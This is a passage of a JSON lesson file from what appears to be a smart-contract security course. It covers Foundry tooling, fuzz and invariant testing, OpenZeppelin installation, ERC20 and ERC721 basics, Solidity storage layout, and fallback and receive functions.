space. [Solodit](https://solodit.xyz/) in particular is a tool we'll come back to again and again in this course.\n\n**Protocols Playing It Safe:** More and more Web3 protocols are investing in security. They're auditing their code, they're opening bug bounties for post deployment coverage, they're finally realizing that spending $1 Million on security now, is worth saving $100 Million in being hacked.\n\nWe also have an increase of pre-deployment experts like:\n\n- Cyfrin\n- Trail of Bits\n- OpenZeppelin\n\nCompetitive audit platforms ([CodeHawks](https://www.codehawks.com/)), independent security researchers like ([Pashov](https://twitter.com/pashovkrum)) and a greater security focus all come together to make me optimistic about the future of Web3 Security.\n\n### Yet, There's More to Do: Our Collective Mission\n\n- **Centralized Technology** is a big problem. Private keys being compromised, or offchain centralizing are regular vulnerabilities seen in the space.\n- **Lack of Post Deployment Practices** is something we'll cover later in the course. But needless to say, active monitoring practices and emergency triage in Web3 leave much to be desired. Few even leverage bug bounties to incentivize ongoing security on their protocol post launch.\n- **Not Following Best Practices**\n- **A Disconnect** seems to exist between the industry and security professionals. Audit(security review) != 100% Safe. If no one is reading the security reports, no one is any safer.\n\n### Wrapping Up: Your Role in Shaping Web3's Destiny\n\nThis isn't just a course. It's a mission. Together, we can transform Web3 into a fortress of trust and innovation. Keep going for some exercises to sharpen your skills.\n", + "updates": [] + }, + { + "id": "6407d102-4af4-439f-b6cf-571a615d14dd", + "number": 6, + "title": "Exercises", + "slug": "exercises", + "folderName": "6-exercises", + "description": "Prepare for practical exercises that will help you apply your knowledge and skills gained throughout the course.", + "duration": 4, + "videoUrl": "DaNiFAbLiZI", + "rawMarkdownUrl": "/routes/security/0-introduction/6-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n_Follow along with this video_\n\n\n\n---\n\n### Section 0: Excercises\n\nThe first exercise is important. This is **just for you**. This isn't meant to be a motivation to share with others, or chat about publicly, this is what inspired you to take the first step and what will continue to inspire you to take the next.\n\n_This is for you._\n\nMake it as long and detailed as possible. Pour your emotion into defining why you want this. Don't bullsh\\*t yourself. There'll be opportunities to shout your accomplishments loudly - but this is just for you.\n\n---\n\n🎯 Exercise: `Write yourself a message about why you want this`\n\nThis will be important for when things get hard\nIs it money? Save web3? Become someone?\nWrite down as many reasons as possible.\n\nSection 0 NFT Challenge 👀\n\n[Welcome! (Arb)](https://arbiscan.io/address/0xf923431da74ecc873c4d641fbdfa2564baafca9f#code)\n\n[Welcome! (Sepolia)](https://sepolia.etherscan.io/address/0x39338138414df90ec67dc2ee046ab78bcd4f56d9)\n", + "updates": [] + } + ] + }, + { + "number": 1, + "id": "7918b334-ee76-4134-a88b-86f30ba20f98", + "title": "Review", + "slug": "review", + "folderName": "1-review", + "lessons": [ + { + "id": "8a95ea78-0301-4dc3-814a-36699ab23b05", + "number": 1, + "title": "Tooling requisites", + "slug": "tooling-requisites", + "folderName": "1-tooling-requisites", + "description": "This lesson provides an overview of the essential tools required for Solidity and Smart Contract development. It includes a guide to text editors like Visual Studio Code and VSCodium, and an introduction to frameworks such as Foundry, alongside compatibility tips for different operating systems. It also highlights the importance of AI tools like Find and ChatGPT in the development process.", + "duration": 4, + "videoUrl": "J1uE6YX71yI", + "rawMarkdownUrl": "/routes/security/1-review/1-tooling-requisites/+page.md", + "markdownContent": "---\ntitle: Tooling Pre-requisites\n---\n\n_Follow along with this video_\n\n---\n\n## Pre-requisite Tools\n\nBefore we get deep into coding, there are some useful tools we're going to be using throughout the course. Best to prepare them now.\n\nFirstly, you will need some kind of IDE or text editor. I like to use [**Visual Studio Code**](https://code.visualstudio.com/). For those of you more security and privacy focused you may want to check out [**VSCodium**](https://vscodium.com/) which removes a lot of the Microsoft _stuff_.\n\n## Frameworks\n\nThe primary framework we'll be working with in this course is Foundry. You can view installation instructions for that [**here**](https://book.getfoundry.sh/getting-started/installation).\n\nBut hey, if you’re more familiar with [**Hardhat**](https://hardhat.org/), [**Brownie**](https://eth-brownie.readthedocs.io/en/stable/), or any other framework, don't stress; you can absolutely follow along using your tools. We'll be tackling some Foundry-specific tasks, but you're always welcome to adapt them for your framework of choice.\n\n> Remember: You can use commands `foundryup` to update your Foundry tools and `forge --help` to access a help guide.\n\nAdditional Foundry specific features we'll be using include `cast` and `chisel`, both of which we'll learn more about in this course.\n\n## Coding Environment\n\nIf you're using a PC with Windows, ensure you're using **Windows with WSL**.\n\nThis tool ensures the Linux terminal commands we run are compatible with your machine too. There's a brilliant [**guide by Vasiliy**](https://youtu.be/umepbfKp5rI?feature=shared&t=23546) walking you through the WSL installation process if you need it.\n\nFor Linux and Mac users, you can simply stick with the environments you're already using.\n\nAI tools like [**Phind**](https://www.phind.com/) or [**ChatGPT**](https://www.chat.openai.com) aid in seeking answers when things get tough. One nifty feature **Phind** offers is web searching; you can query \"_install Foundry for the ETH ecosystem_\", and the tool will surf the web, compile an answer, and offer you a digestible solution for your query!\n\n\"block\n\n## Web3 Is About Community\n\nI highly recommend you consider creating accounts on platforms like:\n\n- [**Peeranha.io**](https://peeranha.io/) - A great platform for discussion and QA for Web3\n- [**Ethereum Stack Exchange**](https://ethereum.stackexchange.com/) - One of _the_ best blockchain developer resources available\n and of course\n- [**GitHub**](https://www.github.com) - Every developer needs an account here. It's objectively the best space online to collaborate, discuss and share coding support.\n\nRemember to jump in and ask questions. Don't pretend to have answers when you don't. The learning experience is about being humble and is most rewarding to those willing to ask questions and seek clarity. Embrace the \"I don't know, and I will find out\" attitude.\n\n> One of the worst things you can do as a security researcher is pretend to know something you don't.\n", + "updates": [] + }, + { + "id": "10c4f125-eba0-41a7-bc7a-154842f2bc01", + "number": 2, + "title": "Solidity Prerequisites", + "slug": "solidity-requisites", + "folderName": "2-solidity-requisites", + "description": "This lesson covers the prerequisites for working with Solidity, focusing on skills like using Remix for compiling and deploying contracts, and the basics of Foundry framework. It emphasizes the importance of familiarity with local and cloud-based coding for effective contract development.", + "duration": 4, + "videoUrl": "vNr-b6u503M", + "rawMarkdownUrl": "/routes/security/1-review/2-solidity-requisites/+page.md", + "markdownContent": "---\ntitle: Solidity Pre-requisites\n---\n\n_Follow along with this video_\n\n---\n\nAlright! All of the pre-requisites I've mentioned so far, and those mentioned here can be found in the Foundry Full Course ([Fundamentals](https://updraft.cyfrin.io/courses/foundry) _and_ [Advanced](https://updraft.cyfrin.io/courses/advanced-foundry))\n\n## The Prerequisites: Solidity Basics\n\nTo keep up with this course, you should be familiar with all the basic functions of [Remix](https://remix.ethereum.org). This includes `compiling`, and `deploying` to both local and testnet blockchains.\n\nAll of the basic Solidity, variable types, contract structure etc should be second nature.\n\n## Foundry Familiarity\n\nYou should also be familiar with the working environments of Foundry, or your framework of choice. You should understand how to initialize a project in your framework and navigate it's working tree.\n\n
\n\"block\n
\n\nCommands like these should ring lots of bells.\n\n```shell\nforge init\nforge build\nforge test\n```\n\nThe basic code seen in the Foundry example contracts should be things you recognize as well.\n\n```js\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\ncontract Counter {\n uint256 public number;\n\n function setNumber(uint256 newNumber) public {\n number = newNumber;\n }\n\n function increment() public {\n number++;\n }\n}\n```\n\n---\n\n## Testing\n\nThe Foundry example test setup contains two distinct test types, a regular test and a fuzz test. These distinctions you should be a little familiar with, but we'll definitely go more indepth throughout this course.\n\n### Exploring Test Types: Regular Test and Fuzz Test\n\nIn the regular test, we merely incept the counter contract and increment it, ensuring the counter number equals one. The Fuzz test, however, involves passing a random number into our test.\n\nAs you may recall, we run this test with a certain number of runs, using different random numbers. No matter the chosen value for X, the test will always hold.\n\nHow do we change the number of fuzz runs? Simply browse to Foundry's TOML file and copy the variable.\n\n```md\n[fuzz]\nruns = 256\nmax_test_rejects = 65536\nseed = \"0x3e8\"\ndictionary_weight = 40\ninclude_storage = true\ninclude_push_bytes = true\n```\n\nIn the TOML file, you have the ability to set the number of runs. For instance, we could change it from 256 to 600.\n\n```shell\n$ forge test\n```\n\nVoila! You'll see that the test Fuzz ran 600 times. This indicates that the test ran with 600 different random numbers.\n\n```bash\nRunning 1 test for test/Counter.t.sol:CounterTest\n[PASS] testFuzz_SetNumber(uint256) (runs: 600, μ: 27398, ~: 28409)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.63ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Advanced Fuzzing: Stateful Fuzzing and Invariant Tests\n\nOn to the next level – **stateful fuzzing**, also popular as invariant tests in the Foundry universe. This aspect of coding might not be your forte yet, but no worries, that's what we're here for.\n\nLet's look more closely at fuzzing and invariant testing in our next lesson.\n", + "updates": [] + }, + { + "id": "7ca092d5-a77c-4d01-b952-53d530f5a25e", + "number": 3, + "title": "Fuzzing and invariants", + "slug": "fuzzing-and-invariants", + "folderName": "3-fuzzing-and-invariants", + "description": "Explore the concepts of fuzz testing and invariant testing in Solidity. This lesson explains how fuzz testing can help uncover unexpected application failures, and dives into the practice of testing invariants, or properties that always hold true, in smart contracts.", + "duration": 10, + "videoUrl": "jCO69E5BfEM", + "rawMarkdownUrl": "/routes/security/1-review/3-fuzzing-and-invariants/+page.md", + "markdownContent": "---\ntitle: Stateless Fuzzing, Stateful Fuzzing And Invariants/Properties\n---\n\n_Follow along the video_\n\n---\n\n## Testing the Unknown\n\nOften, hacks result from scenarios you didn't anticipate or consider for testing. But what if you could write a test that checks for every possible scenario, not just one? Welcome to the world of **Fuzz testing**.\n\n## What Is Fuzz Testing?\n\nAlso known as _fuzzing_, this is all about supplying random data to your system in an attempt to break it. Imagine your code is an indestructible balloon. Fuzzing involves you doing random things (like poking, squeezing, or even kicking) to the balloon with the sole intention of breaking it.\n\nThis makes it a useful technique for unearthing unexpected application failures. This lesson aims to walk you through the concept and practical application of fuzz testing.\n\n### The Fundamental Principle: Testing Invariants\n\nEach system, from a function to an entire program, has an integral property, often referred to as the _invariant_. This property must always hold true. For instance, you could have a function called `doStuff` that should always return zero, regardless of the value of the input. In such a case, returning zero would be the invariant of that function.\n\nLet's dark dive deeper into what such a function could look like:\n\n```js\nfunction doStuff(uint256 data) public {\n if (data == 2){\n shouldAlwaysBezero = 1;\n }\n if(hiddenValue == 7) {\n shouldalwaysBeZero = 1;\n }\n hiddenValue = data;\n}\n```\n\nA unit test for this function would look something like this:\n\n```js\nfunction testIsAlwaysGetZero() public {\n uint256 data = 0;\n exampleContract.doStuff(data);\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n}\n```\n\nThe above test is going to pass because in that specific situation (where `data == 0`), our invariant isn't broken.\n\nFrom the function above, you can expect that `should_always_be_zero` is always zero, regardless of the `data` value. But wait, what happens if our input is `2`? We get `should_always_be_zero` as `1`. That violates our invariant!\n\nOf course, this is a pretty straightforward example. But what if we have a function that looks a bit more complicated? Writing a test case for every scenario could be tedious or impossible. We need to adopt a more programmatic approach to test these cases en masse.\n\n## Introducing Fuzz Tests and Invariant Tests\n\nThere are two popular methodologies when dealing with edge cases: using _fuzz tests/invariant tests_, or _symbolic execution_ (which we'll save for another day).\n\n> \"Fuzz testing and Invariant testing are great tools to assess the robustness of your code.\"\n\nLet's consider an example of a fuzz test in Foundry. Here, we set our data right in the test parameter, allowing Foundry to automate the process of providing random input data during tests.\n\n```js\nfunction testIsAlwaysGetZeroFuzz(uint256 data) public {\n exampleContract.doStuff(data);\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n}\n```\n\nFoundry will automatically randomize data and use numerous examples to run through the test script. This test will be supplied random data from 0 to uint256.max(), as many times as you've conifigured runs.\n\n> Reminder: You can configure the number of runs in your foundry.toml under the [fuzz] variable\n\nNotably, this pseudo-random mechanism is not exhaustive. It won't provide a scenario for every single possible data input. That's why further understanding of how the Fuzzer generates random data is crucial.\n\n## Stateless Fuzzing versus Stateful Fuzzing\n\nFuzzing also comes in flavours, the above being an example of `stateless fuzzing`. Another that is valuable to understand is `stateful fuzzing`. `Stateful fuzzing`, instead of resetting the contract state for each new run, will use the ending state of your previous run as the starting state of your next.\n\nThis is important for situations like our `doStuff` function\n\n\"block\n\nA stateful fuzz test would instead utilize the same contract we just triggered and call another function on it, creating an interlocking sequence of functions throughout a single run. Achieving this in Foundry requires using the `invariant` keyword and a bit of setup:\n\nFirst, we need to import `StdInvariant` from `forge-std` and inherit it in our test contract.\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0\n\nimport {StdInvariant} from \"forge-std/StdInvariant.sol\";\n\ncontract MyContractTest is StdInvariant, Test {...}\n```\n\nThen, in the setup of our test contract, we need to tell Foundry, which contract we'll be calling random functions on.\n\n```js\nfunction setUp() public {\n exampleContract = new MyContract();\n targetContract(address(exampleContract));\n}\n```\n\nNow our `stateful fuzz` test is going to look something like this:\n\n```js\nfunction invariant_testAlwaysReturnsZero() public {\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n}\n```\n\nWith the above test, Foundry is going to call random functions on the `targetContract` (in our case `doStuff` repeatedly, but were there other functions, they would be called in a random order) and pass those functions random data.\n\n## In Summary\n\nFuzz testing involves mainly understanding your system's invariants and writing tests that can execute numerous scenarios. This is either achieved through `stateless fuzzing`, which provides random data alone with each run independent of the last, or `stateful fuzzing`, allowing both random data and random function calls subsequently on the same contract. This is the new standard for web3 security.\n\nGoing forward, aim to fully understand the invariants in systems you're working on, and write fuzz tests to ensure they are not broken\n\n> \"Fuzz testing is a technique that some of the top protocols are yet to adopt, yet it can aid in discovering high severity vulnerabilities in smart contracts.\" - Alex Rohn, co-founder at Cyfrin.\n\nNext lesson we're going to talk about common Ethereum Improvement Proposals (EIPs)!\n", + "updates": [] + }, + { + "id": "9d521d8e-81b8-4bc0-b446-07362440e116", + "number": 4, + "title": "Installing Libraries", + "slug": "installing-libraries", + "folderName": "4-installing-libraries", + "description": "This lesson covers using OpenZeppelin for ERC20 token integration, including installation and Solidity contract creation, with future insights into ERC20 and ERC721.", + "duration": 2, + "videoUrl": "C9lGaBMfXmA", + "rawMarkdownUrl": "/routes/security/1-review/4-installing-libraries/+page.md", + "markdownContent": "---\ntitle: Installing Libraries\n---\n\n_Follow along the with the video_\n\n---\n\nWe'll go over Fuzz and Invariant testing in more detail later. For now, let's briefly go over importing valuable libraries into our code base.\n\n### OpenZeppelin Contracts and ERC20\n\nSay, you're working on a project and you'd like to include an `ERC20`, but are unsure where to start. This is where [OpenZeppelin Contracts](https://github.com/OpenZeppelin/openzeppelin-contracts) come into play. This popular library, available on GitHub, provides prewritten contracts for your use, making your life a whole lot easier!\n\nUse the following command to install this library to your project directory:\n\n```shell\nforge install OpenZeppelin/openzeppelin-contracts --no-commit\n```\n\n### Configuring Project Files and Creating New Contracts\n\nNow, navigate to the `foundry.toml` file in your project directory. Here, specify the remappings by setting `@openzeppelin/contracts` equal to `lib/openzeppelin-contracts/contracts`. This sets up the path for the compiler to locate OpenZeppelin contracts.\n\n```markdown\nremappings = ['@openzeppelin/contracts=lib/openzeppelin-contracts/contracts']\n```\n\nOnce remapped, the library and it's contracts can be imported into your project like so:\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol';\n\ncontract MyToken is ERC20 {\n constructor() ERC20(\"MyTokenName\",\"MTN\") {};\n}\n```\n\nFor those who might need a brush up on what exactly ERC20 is or are curious about other types of tokens like the ERC721 (also known as NFTs), stay tuned as we'll be covering them in our upcoming discussions.\n", + "updates": [] + }, + { + "id": "0f2eefd6-73c5-4991-ac1b-2fd319840ed5", + "number": 5, + "title": "What is an ERC20?", + "slug": "what-is-erc20", + "folderName": "5-what-is-erc20", + "description": "This lesson offers an introduction to ERC-20 tokens, their functionality, and applications. It explains the basics of ERC-20 token creation and its significance in the blockchain ecosystem, including use cases like governance tokens and network security.", + "duration": 2, + "videoUrl": "2x1llxOruiY", + "rawMarkdownUrl": "/routes/security/1-review/5-what-is-erc20/+page.md", + "markdownContent": "---\ntitle: What is an ERC20/EIP20?\n---\n\n_Follow along the with the video_\n\n---\n\n## What are ERC20 tokens?\n\nFirstly, let's define what ERC20s are. ERC20s are tokens that exist and function on a blockchain network using a predefined standard called [the ERC20 token standard](https://ethereum.org/en/developers/docs/standards/tokens/ERC20/). This standard is essentially a set of rules that dictate certain functions a token should have, allowing it to interact seamlessly with other tokens on the network.\n\nHowever, the magic doesn't just stop at being tokens. ERC20s are also smart contracts. This hybrid nature allows ERC20 tokens to embody complex functionalities on the blockchain. Isn't that cool? A few notable examples of ERC20s include tokens like Tether, Chainlink, Uni and DAI.\n\n> **Note:**Chainlink technically falls under the ERC-677 standard, a higher standard that introduces additional functions while still retaining compatibility with the original ERC20 standard. So, you can think of Chainlink as an upgraded ERC20 token.\n\n## Why care about ERC20 tokens?\n\nAt this point, you might be wondering, \"Why should I even care to make an ERC20 token?\". Well, there are a number of compelling reasons.\n\nERC20 tokens find extensive use in a number of areas. They can serve as governance tokens, allowing token holders to vote on various matters within a DApp (Decentralised Application). They can be used to secure the underlying network. They can also represent some type of static asset, and much more. The sky's the limit when it comes to what you can achieve with ERC20 tokens.\n\n## How to create an ERC20 token\n\nNow that we've addressed the 'what' and 'why' of ERC20 tokens, let's delve into the 'how'. You can create your very own ERC20 token by crafting a smart contract that conforms to the ERC20 token standard.\n\nAn ERC20 compliant smart contract needs to have certain functions - `name()`, `symbol()`, `decimals()`, to name a few. These functions are called to retrieve information about the token. Furthermore, functionalities such as transferring tokens and checking the balance of tokens must also be included in the smart contract.\n\nOf course, the ERC20 is not the be-all and end-all. There are several other upgraded token standards, such as the [ERC-677](https://github.com/ethereum/EIPs/issues/677) and the [ERC-777](https://eips.ethereum.org/EIPS/eip-777) that you might want to check out. These other standards provide additional functionality while maintaining full compatibility with the ERC20 standard.\n\nTo sum up, ERC20 tokens are versatile and powerful constructs in the blockchain realm. Whether you wish to create your own token for a DApp, or simply wish to understand the underlying mechanics of various tokens, gaining a strong grasp on ERC20 tokens can undoubtedly open a plethora of avenues for you. Happy learning!\n", + "updates": [] + }, + { + "id": "65635349-225c-4583-b9ad-62bd27930683", + "number": 6, + "title": "What is an ERC721?", + "slug": "what-is-erc721", + "folderName": "6-what-is-erc721", + "description": "Dive into the world of ERC-721 tokens and NFTs (Non-Fungible Tokens). This lesson discusses the uniqueness of NFTs compared to ERC-20 tokens, their various applications, and the role of ERC-721 in representing unique digital assets on the blockchain.", + "duration": 6, + "videoUrl": "516bzGbgYak", + "rawMarkdownUrl": "/routes/security/1-review/6-what-is-erc721/+page.md", + "markdownContent": "---\ntitle: What is an ERC721/NFT?\n---\n\n_Follow along the with the video_\n\n---\n\nThe buzz around non-fungible tokens (NFTs) or `ERC721s` lately is becoming impossible to ignore, especially within the spheres of art and blockchain technology. NFTs, originally authored on the Ethereum platform, present a unique form of digital asset that holds the potential to revolutionize the world of art, gaming and beyond. But what exactly are they?\n\n## Understanding NFTs\n\nNFT stands for non-fungible token. Unlike `ERC20` tokens, such as LINK, DAI etc, each NFT is entirely unique, and no two tokens can be interchanged.\n\nTo better understand, let's look at a simple analogy. Think of a dollar bill; it holds the same value as any other dollar out there. You can freely exchange a dollar for another, and their value remains the same. This makes them _fungible_. Contrastingly, an NFT is the complete opposite. It could be likened to a unique Pokemon. Each Pokemon is unique and no two Pikachu's are exactly the same.\n\nAs a more relatable analogy, consider an NFT as a distinct piece of art, trading card, or any other one-of-a-kind item. So to sum up, NFTs are unique, non-interchangeable tokens best thought of as indestructible digital pieces of art with a permanent history detailing their ownership and alterations.\n\n## The Many Uses of NFTs\n\nAlthough NFTs are mostly associated with art, they extend beyond that. They can be assigned any property, or manipulated in any way you like, thanks to the underlying smart contract technology.\n\n
\n
\n \"block\n \"block \n
An NFT example from Milady
\n
\n
\n\nThese unique tokens are deployed on a smart contract platform and can be traded on numerous NFT platforms such as [OpenSea](https://opensea.io/) or [Rarible](https://rarible.com/). While these decentralized marketplaces provide user-friendly interfaces for trading NFTs, one could just as easily buy and sell outside of them.\n\n## NFTs: Bridging the Gap for Artists\n\nMany might find the whole concept of NFTs puzzling. Isn't art meant to be tangible? But consider this: artists often aren't adequately compensated for their work. Their creations get copied and shared with zero attribution; they simply lose ownership. But with NFTs, artists can finally get the recognition, and more importantly, the compensation they deserve.\n\n> \"Having a decentralized royalty mechanism, or some type of mechanism where these artists can get accurately comped for what they're doing, is crucial.\"\n\nYes, NFTs can be a solution to current issues plaguing the art industry by creating an auditable and transparent trail of royalties without the need for any centralized service.\n\n## The Role of the ERC721 Standard\n\n`ERC721`, or the NFT standard, forms the basis of it all. To keep it simple, the main distinction between `ERC721` and `ERC20` tokens is that each `ERC721` token has a unique Token ID, an attribute that indirectly represents the asset linked to that token.\n\nTo illustrate the unique attributes of an asset, let's say a piece of art or a character in a game, NFTs rely on metadata and `Token URIs`. Due to the prohibitively high gas prices on Ethereum, it's quite impractical to store these intricate art pieces directly on the chain.\n\n## How Token URIs Work\n\nThe solution? The developers introduced what is known as a `Token URI` in the NFT standard—a universally unique identifier that provides information about what an asset (or token) looks like, and the attributes of that token. Data storage platforms like IPFS or a centralized API usually provide this `Token URI` through a simple API call.\n\nThe `Token URI` should return data in a preset format, including the name, image location, description, and any other attributes that add to the uniqueness of the token.\n\nHowever, storing metadata off-chain does come with its challenges. If the centralized system hosting these assets crashes, every link associated with your NFT is lost. Modern discussions in the NFT world often debate the pros and cons of on-chain metadata versus off-chain metadata. Regardless of the limitations, there's something truly groundbreaking about NFTs, and it's exciting to envision where this technology could lead us.\n", + "updates": [] + }, + { + "id": "ce4c93b4-da09-44e7-87a8-340d4e0d36a8", + "number": 7, + "title": "Advanced Solidity Prerequisites", + "slug": "advanced-solidity-prerequisites", + "folderName": "7-advanced-solidity-prerequisites", + "description": "This lesson explores advanced concepts in Solidity, particularly focusing on storage in smart contracts. It delves into how storage functions, the role of constants and immutables, and hands-on exercises using Foundry to visualize these concepts.", + "duration": 0, + "videoUrl": "Mek5xKplxuM", + "rawMarkdownUrl": "/routes/security/1-review/7-advanced-solidity-prerequisites/+page.md", + "markdownContent": "---\ntitle: Advanced Solidity Pre-requisites\n---\n\n_Follow along the with the video_\n\n---\n\nLet's look at a couple advanced solidity concepts that will be important to understand as you progress through this course.\n\n## The Core of Smart Contracts: Storage\n\nThe first advanced feature we'll be covering today is storage in smart contracts. Every smart contract includes this integral element. This critical component is the space allotted to your variables within the contract.\n\nWhen you create a state variable within your contract, an individual storage slot is carved out just for that variable.\n\nIt's worth noting, however, that constants or immutable variables do not occupy space in storage. This unique trait is due to their nature of being stored directly within the contract's bytecode.\n\nTo illustrate:\n\n\"block\n\n### Hands-on Learning with Code\n\nYou can see this yourself through a few commands in Foundry. In the above contract, if we use...\n\n```bash\nforge inspect Counter storage\n```\n\nWe'll get a readout of the storage slots in our `Counter` contract which looks like this:\n\n```bash\n\"storage\": [\n {\n \"astId\": 44623,\n \"contract\": \"src/Counter.sol:Counter\",\n \"label\": \"number1\",\n \"offset\": 0,\n \"slot\": \"0\",\n \"type\": \"t_uint256\"\n },\n {\n \"astId\": 44625,\n \"contract\": \"src/Counter.sol:Counter\",\n \"label\": \"number2\",\n \"offset\": 0,\n \"slot\": \"1\",\n \"type\": \"t_uint256\"\n },\n {\n \"astId\": 44630,\n \"contract\": \"src/Counter.sol:Counter\",\n \"label\": \"number4\",\n \"offset\": 0,\n \"slot\": \"2\",\n \"type\": \"t_uint256\"\n }\n ],\n```\n\nNotice how the variable `number3` isn't returned. This is because this variable is contained as a constant within the contract's bytecode.\n\n> Remember, always experiment with code, because it's in the _doing_ that we grasp the most complex concepts!\n\n### Wrapping Up with a Video Recap\n\nThe next lesson will be a quick video refresher on storage to get up to speed on the concept and prepare for the harder stuff to come!\n", + "updates": [] + }, + { + "id": "4b6fc572-3728-4858-8396-a22e09e10647", + "number": 8, + "title": "Storage", + "slug": "storage", + "folderName": "8-storage", + "description": "Gain a comprehensive understanding of storage in Solidity. This lesson covers global variables, the storage data structure, handling dynamic variables, and the role of constant and immutable variables. It also explains the use of the 'memory' keyword for efficient data management.", + "duration": 5, + "videoUrl": "ioD_szSZQpk", + "rawMarkdownUrl": "/routes/security/1-review/8-storage/+page.md", + "markdownContent": "---\ntitle: Storage\n---\n\n_Follow along the with the video_\n\n---\n\nIn this lesson, we are going to discuss some important aspects related to variables in Solidity. Much of what we'll cover is conveniently summarized in the [**Solidity documentation**](https://docs.soliditylang.org).\n\n## Understanding Global Variables and Storage\n\nFirst and foremost, we need to familiarize ourselves with the concept of `Storage`. In Solidity, when we refer to variables that are global or those that persist over time, we are actually referring to variables that exist in `Storage`.\n\n\"block\n\nThink of `Storage` as a huge array or list that contains all the variables we create in Solidity. When we declare a variable in a contract—say a contract named `fundamentalStorage`—to be a certain value, such as `favoriteNumber`, we're essentially demanding this variable to persist. This persistence is obtained via `Storage`.\n\nIn code this looks like:\n\n```js\ncontract fundamentalStorage {\n uint favoriteNumber;\n}\n```\n\nThis `favoriteNumber` variable is stored in the `Storage` and can be called whenever required.\n\nNow, `Storage` is essentially an array where every variable (and its value) gets slotted into a 32 byte long slot. This is crucial in understanding how Solidity manages memory and data storage. The indexing of these storage slots starts from 0, and increments just like array indexing in most languages.\n\n```javascript\ncontract fundamentalStorage {\n uint favoriteNumber = 25;\n bool ourBool = true;\n}\n```\n\nFor instance, if a variable—`favoriteNumber`—is assigned the number 25, this number is stored in its bytes implementation `0x19`.\n\n## Dealing with Dynamic Variables\n\nWhile static variables are straightforward, things get slightly intricate with variables that are of dynamic length or can change length. Variables in the form of dynamic arrays or mapping are stored using some type of hashing function (outlined in the documentation).\n\nThe object itself does take up a storage slot, but it doesn't contain the whole array. Instead, the storage slot contains the length of the array. If we add a new element to the array by calling `myArray.push(222)`, the array's length and the new element are stored at separate locations determined by the hash function.\n\n```js\ncontract exampleContract {\n uint[] myArray;\n\n function addToArray(uint _number) public {\n myArray.push(_number);\n }\n}\n```\n\nIn the code example above, `myArray.length` is stored in `storage slot [0]`, while the elements within the array (myArray.push(\\_number)) are stored at `storage slot [keccak256(0)]`.\n\n## Constant and Immutable Variables\n\nInteresting to note is the fact that constant and immutable variables do not occupy spots in `Storage`. This is because such variables are incorporated within the bytecode of the contract itself. Solidity automatically substitutes any reference to these variables with their declared values.\n\n```js\ncontract exampleContract {\n uint constant x = 123;\n}\n```\n\nIn the example above, the constant variable `x` does not occupy a storage slot.\n\n## Temporary Variables: Function Scope\n\nFor variables that are declared inside a function, their existence is ephemeral and scoped merely to the span of that function. These variables do not persist inside the contract and are not stored in `Storage`. Instead, they're stashed in a different memory data structure, which deletes them as soon as the function has finished execution.\n\n```js\ncontract exampleContract{\n function myFunction(uint val) public {\n uint newVar = val + 5;\n }\n}\n```\n\nIn this example, `newVar` only exists for the duration of `myFunction`.\n\n## Memory Keyword: Necessary for Strings\n\nFinally, the `memory` keyword. Primarily used with strings, `memory` is needed because strings are dynamically sized arrays. By using this keyword, we tell Solidity that string operations are to be performed not in `Storage`, but in a separate memory location.\n\nSolidity needs this explicit instruction because arrays and mappings require more space, hence the need to ensure that space is allocated in the appropriate data structure.\n\nHere's a code snippet using `memory` keyword with string:\n\n```javascript\ncontract exampleContract{\n function getString() public pure returns (string memory) {\n return \"this is a string!\";\n }\n}\n```\n\nAll of what we've covered here is outlined in detail in the Solidity Documentation. Understanding these concepts and how Solidity handles variables is integral to attaining a deeper understanding of the language and compiler.\n\n> \"Understanding the nitty-gritty of Solidity variables and storage will significantly amplify your solidity coding skills.\"\n", + "updates": [] + }, + { + "id": "2a197fd8-42ba-4c0b-90c7-0dbb309c7abd", + "number": 9, + "title": "Fallback and Receive", + "slug": "fallback-and-receive", + "folderName": "9-fallback-and-receive", + "description": "Learn about the fallback and receive functions in Solidity. This lesson explains how these functions enable a contract to accept ETH, their default settings, and the significance of encoding in smart contract functionality.", + "duration": 2, + "videoUrl": "pTn0Kfp9JHg", + "rawMarkdownUrl": "/routes/security/1-review/9-fallback-and-receive/+page.md", + "markdownContent": "---\ntitle: Fallback and Receive\n---\n\n_Follow along with the video_\n\n---\n\nIn the world of Solidity smart contracts, it's important to understand the fallback and receive functions. By default, Solidity smart contracts reject any Ether (ETH) sent to them. In order to enable your contract to accept ETH, we would implement `fallback` and `receive` functions. Let's look at these mose closely.\n\n## What are the Fallback and Receive functions?\n\nThese two specific functions - `fallback` and `receive` - enable a contract to accept and react to native ETH sent to it. Both these functions can be made \"**external payable**\", indicating that they can receive and handle ETH.\n\nSo, how do they function? Here's the core logic to give you a better understanding:\n\n
\n \"block\n
\n\nTo put it simply, consider the case of sending ETH to a smart contract without any data. In such an instance, the `receive` function would be called, resorting to `fallback` if the `receive` function does not exist.\n\nOn the other hand, if there _is_ data, Solidity will skip straight to the `fallback` function, bypassing the `receive` function entirely.\n\n## Default Settings in Solidity\n\nIt is worthwhile to note that the `fallback` function may or may not be payable. If the contract lacks a `receive` function and the `fallback` function isn't payable, then the `fallback` function won't be called when you send ETH to the contract.\n\n```js\nfallback() external{}\nreceive() external payable {}\n```\n\nBy the same token, a contract that does not contain any of these functions will reject any ETH sent to it. In fact, Solidity will automatically compile this contract to reject ETH - with at least one notable exception we'll go over later.\n\n## Deepening Understanding: Encoding\n\nThe next lesson is a clip you might remember from the Foundry Course. We're going to go over encoding and explain how it can be used to call any function on any contract from another contract.\n\nLet's do it.\n", + "updates": [] + }, + { + "id": "3c15b341-1146-4e78-abfd-fc77d99fae7f", + "number": 10, + "title": "ABI encode", + "slug": "abi-encode", + "folderName": "10-abi-encode", + "description": "This lesson focuses on ABI (Application Binary Interface) encoding in Solidity, explaining its role in concatenating strings and encoding data into binary. It provides insights into the process of compressing binary data and techniques for multiple data encoding.", + "duration": 23, + "videoUrl": "k0WSQNXCMU4", + "rawMarkdownUrl": "/routes/security/1-review/10-abi-encode/+page.md", + "markdownContent": "---\ntitle: Abi.encode & 